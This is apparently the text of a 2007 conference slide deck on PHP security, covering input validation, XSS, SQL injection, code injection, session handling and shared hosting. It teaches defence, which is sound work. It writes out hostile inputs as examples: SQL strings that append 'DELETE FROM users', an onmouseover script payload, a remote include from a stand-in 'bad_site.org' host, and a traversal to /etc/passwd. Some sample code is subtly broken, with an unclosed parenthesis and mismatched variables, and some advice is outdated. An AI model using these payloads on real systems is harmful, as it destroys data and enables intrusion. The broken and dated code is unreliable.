PHP Security By Mugdha And Anish

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OSScamp, Impetus Noida, Sept,’07 Anish & Mugdha Value One InfoTech

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Importance of PHP Security Concerns of PHP Security Input Validation Cross-Site Scripting SQL Injection Code Injection Session Security Shared Hosting Topics of Discussion

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PHP is widely used language for web applications PHP is making headway into enterprise as well as corporate markets. Most effective & often overlooked measure to prevent malicious users PHP applications often end up working with sensitive data. Importance of PHP Security

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INPUT VALIDATION

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All user inputs are unreliable and can’t be trusted. Need for validating any user input before use : Unexpected Modification by the user Intentional attempt to gain unauthorized access to the application Attempt to crash the application by the malicious users Input Validation

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Most common source of vulnerabilities in PHP applications. Any input parameters are translated to variables :- ?foo=bar >> $foo = “bar”; No way to determine the input source. Prioritized sources like cookies can overwrite GET values. When register global is set ON, un-initialized variables can be “injected” via user inputs. Register Globals

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Disable register_globals in PHP.ini (Disabled by-default as of PHP 4.2.0) Alternative to Register Global : SUPER GLOBALS $_GET – data from get requests. $_POST – post request data. $_COOKIE – cookie information. $_FILES – uploaded file data. $_SERVER – server data $_ENV – environment variables $_REQUEST – mix of GET, POST, COOKIE Solutions To Register Globals

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Type sensitive validation conditions. Because input is always a string, type sensitive compare to a Boolean or an integer will always fail. Example if ($authorized === TRUE) { // LOGIN SUCCESS } Contd…

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Code with error_reporting set to E_ALL. Allows you to see warnings about the use of un-initialized variables. Use of constants Created via define() function Once set, remains defined until end of request Can be made case-insensitive to avoid accidental access to a different datum caused by case variance. Contd…

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Suffers from the loss of data problem, caused when the same parameter is provided by multiple input sources. PHP.ini: variables_order = GPCS (Last data source has highest priority) Example echo $_GET['id']; // 1 echo $_COOKIE['id']; // 2 echo $_REQUEST['id']; // 2 Use the input method-specific superglobals intead of $_REQUEST Cons of $ REQUEST

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All data passed to PHP (GET/POST/COOKIE) ends up being a string. Using strings where integers are needed is not only inefficient but also dangerous. Casting is a simple and very efficient way to ensure that variables contain numeric values. Example of floating point number validation if (!empty($_GET['price'])) { $price = (float) $_GET['price']; } else $price = 0; Numeric Data Validation

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PHP comes with a ctype, extension that offers a very quick mechanism for validating string content. if (!ctype_alnum($_GET['login'])) { echo "Only A-Za-z0-9 are allowed."; } if (!ctype_alpha($_GET['captcha'])) { echo "Only A-Za-z are allowed."; } if (!ctype_xdigit($_GET['color'])) { echo "Only hexadecimal values are allowed"; } String Validation

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What are Magic Quotes ?? Problems associated with it !! How to deal with it ?? Using Magic Quotes

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XSS

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Cross Site Scripting (XSS) is a situation where by attacker injects HTML code, which is then displayed on the page without further validation. Can lead to embarrassment Session take-over Password theft User tracking by 3rd parties Cross Site Scripting (XSS)

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Prevention of XSS is as simple as filtering input data via one of the following: htmlspecialchars() Encodes ‘, “, <, >, & htmlentities() Convert anything that there is HTML entity for. strip_tags() Strips anything that resembles HTML tag. Tag allowances in strip_tags() are dangerous, because attributes of those tags are not being validated in any way. Preventing XSS

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$str = strip_tags($_POST['message']); // encode any foreign & special chars $str = htmlentities($str); // strip tags can be told to "keep" certain tags $str = strip_tags($_POST['message'], '<b><p><i><u>'); // tag allowance problems <u onmouseover="alert('JavaScript is allowed');"> <b style="font-size: 500px">Lot's of text</b> </u> Preventing XSS

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SQL Injection

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SQL injection is similar to XSS, in the fact that not validated data is being used. But in this case this data is passed to the database. Arbitrary query execution Removal of data. Modification of existing values. Denial of service. Arbitrary data injection. // consider this query, it will delete all records from users $name = “mugdha’; DELETE FROM users;”; mysql_query(“SELECT * FROM users WHERE name =’{$name}’”); SQL Injection

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If your database extension offers a specific escaping function then always use it; instead of other methods MySQL mysql_escape_string() mysql_real_escape_string() PostgreSQL pg_escape_string() pg_escape_bytea() SQLite sqlite_escape_string() SQL Escaping

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SQL Escaping in Practice // undo magic_quotes_gpc to avoid double escaping if (get_magic_quotes_gpc()) { $_GET['name'] = stripslashes($_GET['name']; $_POST['binary'] = stripslashes($_GET['binary']); } $name = pg_escape_string($_GET['name']); $binary = pg_escape_bytea($_POST['binary']); pg_query($db, "INSERT INTO tbl (name,image) VALUES('{$name}', '{$image}')");

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When un-quoted integers are passed to SQL queries, escaping functions won’t save you, since there are no special chars to escape. http://example.com/db.php?id=0;DELETE%20FROM%20users <?php $id = sqlite_escape_string($_GET['id']); // $id is still 0;DELETE FROM users sqlite_query($db,"SELECT * FROM users WHERE id={$id}"); // Bye Bye user data... ?> Escaping Shortfall

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Prepared statements are a mechanism to secure and optimize execution of repeated queries. Works by making SQL “compile” the query and then substitute in the changing values for each execution. Increased performance, one compile vs one per query. Better security, data is “type set” will never be evaluated as separate query. Supported by most database systems. MySQL users will need to use version 4.1 or higher. SQLite extension does not support this either. Prepared Statements

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<?php $data = "Here is some text to index"; pg_query($db, "PREPARE my_stmt (text) AS INSERT INTO search_idx (word) VALUES($1)"); foreach (explode(" ", $data) as $word) {// no is escaping needed pg_query($db, "EXECUTE my_stmt({$word})"); } // de-allocte the prepared statement pg_query($db, "DEALLOCATE my_stmt"); ?> Unless explicitly removed, prepared statements “stay alive” between persistent connections. Prepared Statements

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Code Injection

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Code Injection is the execution of arbitrary local or remote code. The two of the most common sources of code injection are: Dynamic paths/files used in require/include statements eval(): A major source of code injection is the improper validation of eval(). Code Injection

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Avoid using dynamic or relative paths/files in your code. Although somewhat less convenient; always use full paths, defined by constants, which will prevent attacks like these: <?php //dynamic path $_GET['path'] = ‘http://bad_site.org’; include "{$_GET['path']}/header.inc"; //dynamic file $_GET[‘interface’] = ‘../../../../../etc/passwd’; require‘home/mbr/profile/templates_c/interfaces/’.$_GET[‘interface’]; ?> There are some other ways to secure include or require calls... Code Injection Prevention

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work with a white-list of acceptable values. //create an array of acceptable file names $tmpl = array(); foreach(glob("templates/*.tmpl") as $v) { $tmpl[md5($v)] = $v; } if (isset($tmpl[$_GET['path']])) { $fp = fopen($tmpl[$_GET['path']], "r"); } Code Injection Prevention

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Session Security

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Sessions are a common tool for user tracking across a web site. For the duration of a visit, the session is effectively the user’s identity. If an active session can be obtained by 3rd party, it can assume the identity of the user who’s session was compromised. Session Security

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To prevent session id theft, the id can be altered on every request, invalidating old values. <?php session_start(); if (!empty($_SESSION)) { // not a new session session_regenerate_id(TRUE); // make new session id } ?> Because the session changes on every request, the “back” button in a browser will no longer work, as it will make a request with the old session id. Securing Session ID

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Another session security technique is to compare the browser signature headers. session_start(); $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']); if (empty($_SESSION)) $_SESSION['key'] = $chk; else if ($_SESSION['key'] != $chk) session_destroy(); Session Validation

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By default PHP sessions are stored as files inside the common / tmp directory. This often means any user on the system could see active sessions and “acquire” them or even modify their content. Solutions? Separate session storage directory via session.save_path Database storage mechanism, mysql, pgsql, oci, sqlite. Custom session handler allowing data storage anywhere. Safer Session Storage

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Shared Hosting

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Most PHP applications run in shared environments where all users “share” the same web server instances. This means that all files that are involved in serving content must be accessible to the web server (world readable). Consequently it means that any user could read the content of files of all other users. Shared Hosting

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PHP’s solution to this problem are 2 php.ini directives. open_basedir – limits file access to one or more specified directories. Relatively Efficient. Uncomplicated. safe_mode – limits file access based on uid/gid of running script and file to be accessed. Slow and complex approach. Can be bypassed with little effort. The PHP Solution

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php|architect’s Guide to PHP Security By Ilia Alshanetsky Essential PHP Security By Chris Shiflett References

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